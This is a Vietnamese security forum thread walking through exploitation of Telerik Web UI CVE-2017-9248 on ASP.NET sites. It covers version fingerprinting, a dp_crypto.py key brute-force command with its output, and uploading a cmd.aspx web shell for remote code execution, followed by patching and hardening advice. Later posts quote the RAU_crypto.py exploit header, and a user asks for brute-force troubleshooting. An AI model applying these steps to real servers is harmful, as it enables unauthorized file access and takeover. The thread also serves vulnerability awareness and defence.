Khai thác lỗ hổng ứng dụng Web qua Telerik Web Ui trên Framework Asp.Net

Thảo luận trong 'Web Security' bắt đầu bởi Sugi_b3o, 10/08/19, 09:08 AM.

  1. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 302
    Đã được thích: 232
    Điểm thành tích:
    43
    Chào mọi người, mình xin chia sẻ bài viết phân tích về lỗ hổng trên Telerik Web UI, tuy cũ mà mới, cũ vì nó là CVE 2017-9248 (CVE 2017-11357, CVE 2017-11317), mới vì mình vô tình phát hiện rằng nó không có sẵn trong signature các thiết bị ANTT, và nó khá khó trong việc phát hiện tự động bởi nó thực hiện request một cách hợp lệ, vì vậy mình khuyến cáo các bạn tự kiểm tra thiết bị ANTT quản lý và cập nhật. Đây là lỗ hổng bảo mật cực kỳ nghiêm trọng, tồn tại do mã hóa yếu trong tệp tin Telerik.Web.UI.dll (Telerik UI for ASP.NET AJAX components). Khai thác lỗ hổng này hacker có thể giải mã ra key (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), từ đó có được đường link quản trị nội dung tệp tin và có thể tải tệp tin lên máy chủ nếu cấu hình cho phép (mặc định là cho phép). Lỗ hổng này tồn tại ở các phiên bản từ 2012.3.1308 đến 2017.1.118 (.NET 35, 40, 45).

    [​IMG]
    Cách xác định lỗ hổng:
    [​IMG]
    Mở source web bằng cách Kích phải View page source hay Ctrl+U sau đó bấm Ctrl +F search với từ khóa “Telerik.Web.UI”

    [​IMG]

    OK sau đó có thể lướt source ở 1 vài trang con khác để tìm phiên bản hiện tại

    [​IMG]

    Bạn sẽ tìm ra với định dạng như hình bên trên

    OK, và bên dưới là danh sách các phiên bản có thể bị khai thác
    Mã:
    2007.1423        2008.31314       2010.31317        2013.1.403        2015.2.729
    2007.1521        2009.1311        2011.1315         2013.1.417        2015.2.826
    2007.1626        2009.1402        2011.1413         2013.2.611        2015.3.930
    2007.2918        2009.1527        2011.1519         2013.2.717        2015.3.1111
    2007.2101        2009.2701        2011.2712         2013.3.1015       2016.1.113
    2007.21107       2009.2826        2011.2915         2013.3.1114       2016.1.225
    2007.31218       2009.31103       2011.31115        2013.3.1324       2016.2.504
    2007.31314       2009.31208       2011.3.1305       2014.1.225        2016.2.607
    2007.31425       2009.31314       2012.1.215        2014.1.403        2016.3.914
    2008.1415        2010.1309        2012.1.411        2014.2.618        2016.3.1018
    2008.1515        2010.1415        2012.2.607        2014.2.724        2016.3.1027
    2008.1619        2010.1519        2012.2.724        2014.3.1024       2017.1.118
    2008.2723        2010.2713        2012.2.912        2015.1.204        2017.1.228
    2008.2826        2010.2826        2012.3.1016       2015.1.225        2017.2.503
    2008.21001       2010.2929        2012.3.1205       2015.1.401        2017.2.621
    2008.31105       2010.31109       2012.3.1308       2015.2.604        2017.2.711
    2008.31125       2010.31215       2013.1.220        2015.2.623        2017.3.913

    Time to Exploit

    [​IMG]
    Trước khi thực hiện exploit, các bạn xác định được tập tin “Dialog Handler” bằng cách request
    https://www.example.com/Telerik.Web.UI.DialogHandler.aspx, nếu kết quả bạn nhận lại được là chuỗi “Loading the dialog…” thì boom bạn đã đi đúng hướng.

    [​IMG]
    Để tiến hành khai thác bạn có thể sử dụng công cụ này chạy bằng python
    Mã:
    [email protected]~# python dp_crypto.py -k http://www.example.com/Telerik.Web.UI.DialogHandler.aspx 48 hex 9
    
    dp_crypto by Paul Taylor / Foregenix Ltd
    CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise
    
    Attacking http://www.example.com/Telerik.Web.UI.DialogHandler.aspx
    to find key of length [48] with accuracy threshold [9]
    using key charset [01234567890ABCDEF]
    
    Key position 01: {D} found with 31 requests, total so far: 31
    Key position 02: {3} found with 10 requests, total so far: 41
    Key position 03: {A} found with 35 requests, total so far: 76
    Key position 04: {D} found with 46 requests, total so far: 122
    <------------------------ SNIPPED ------------------------>
    Key position 45: {B} found with 50 requests, total so far: 1638
    Key position 46: {3} found with 36 requests, total so far: 1674
    Key position 47: {3} found with 50 requests, total so far: 1724
    Key position 48: {F} found with 57 requests, total so far: 1781
    Found key: D3AD[redacted]B33F
    Total web requests: 1781
    2014.3.1024: http://www.example.com/Telerik.Web.UI.DialogHandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=[snipped&redacted]
    Sau đó truy cập đến đường link “Document Manager” để truy cập được toàn bộ tập tin và thư mục của Server nạn nhân đồng thời có thể thực hiện upload tập tin lên Server này

    [​IMG]
    [​IMG]

    Mình vừa upload 1 tập tin cmd.aspx

    [​IMG]
    Tập tin đã lên máy chủ. Now it's time to RCE

    [​IMG]
    Thực hiện request và truyền 1 vài tham số từ bên ngoài
    [​IMG]
    Cách khắc phục
    [​IMG]
    • Cài đặt bản vá lỗ hổng bảo mật version 2017.2.621 trở lên tại https://www.telerik.com/
    • Tiến hành upgrade bản vá theo hướng dẫn tại đây
    • Tạo các khóa duy nhất cho Telerick.Web.UI.DialogParameterEncodingKey và MachineKey trong web.config hoặc dùng trình tạo khóa của IIS machine Key
    • Thực hiện Redirect url trả lại trang thông báo lỗi khi hacker truy cập Telerik
    [​IMG]

    • Loại bỏ handler từ tệp tin cấu hình web.config

    [​IMG]

    • Thực hiện xóa tệp Telerik.Web.UI.SpellCheckHandler.ashx và Telerik.Web.UI.DialogHandler.aspx
    SharePoint 2010: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\wpresources\RadEditorSharePoint\6.x.x.0__1f131a624888eeed\Resources

    SharePoint 2013: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\wpresources\RadEditorSharePoint\7.x.x.0__1f131a624888eeed\Resources

    SharePoint 2016: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\wpresources\RadEditorSharePoint\7.x.x.0__1f131a624888eeed\Resources
    Đừng quên kiểm tra lại sau khi đã xóa các tập tin này

    [​IMG]
    Tham khảo
    An toàn thông tin 24h
    WhiteHat
    Sugi B3o
     
    Chỉnh sửa cuối: 10/08/19, 10:08 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf and WhiteHat News #ID:2018 like this.
  2. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 302
    Đã được thích: 232
    Điểm thành tích:
    43
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. WhiteHat News #ID:2018

    WhiteHat News #ID:2018 WhiteHat Support

    Tham gia: 20/03/17, 10:03 AM
    Bài viết: 184
    Đã được thích: 50
    Điểm thành tích:
    28
    Mod @Sugi_b3o làm bài exploit Telerik.Web.UI.WebResource.axd?type=rau đi, có thành viên quan tâm nè :D
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 302
    Đã được thích: 232
    Điểm thành tích:
    43
    Đây là cũng là dạng tấn công bạn hỏi,
    # Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
    # Filename: RAU_crypto.py
    # Github: https://github.com/bao7uo/RAU_crypto
    # Date: 2018-01-23

    # Exploit Author: Paul Taylor / Foregenix Ltd
    # Website: http://www.foregenix.com/blog

    # Version: Telerik UI for ASP.NET AJAX
    # CVE: CVE-2017-11317, CVE-2017-11357
    # Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
    # Vendor Advisory: https://www.telerik.com/support/kb/...ync)/details/insecure-direct-object-reference

    # Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)

    #!/usr/bin/python3

    # Author: Paul Taylor / Foregenix Ltd
    # https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

    # RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357

    # Telerik Web UI for ASP.NET AJAX
    # RadAsyncUpload hardcoded keys / insecure direct object reference
    # Arbitrary file upload

    # Telerik fixed in June 2017 by removing default keys in
    # versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
    # RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)

    # https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
    # https://www.telerik.com/support/kb/...ync)/details/insecure-direct-object-reference
    # http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security

    # http://target/Telerik.Web.UI.WebResource.axd?type=rau
    Chi tiết tại link này
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    WhiteHat News #ID:2018 thích bài này.
  5. 16521092

    16521092 New Member

    Tham gia: 04/12/17, 11:12 PM
    Bài viết: 1
    Đã được thích: 0
    Điểm thành tích:
    1
    Ad cho em hỏi là trong quá trình bruteforce key thì nó bị dừng lại ở 1 position nào đó thì có cách nào xử lí ko ạ :( và key này nó hình như không cố định hay sao mà mỗi lần bruteforce thì lại có những kết quả khác nhau ở cùng 1 position ạ? upload_2019-8-15_17-34-32.png
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan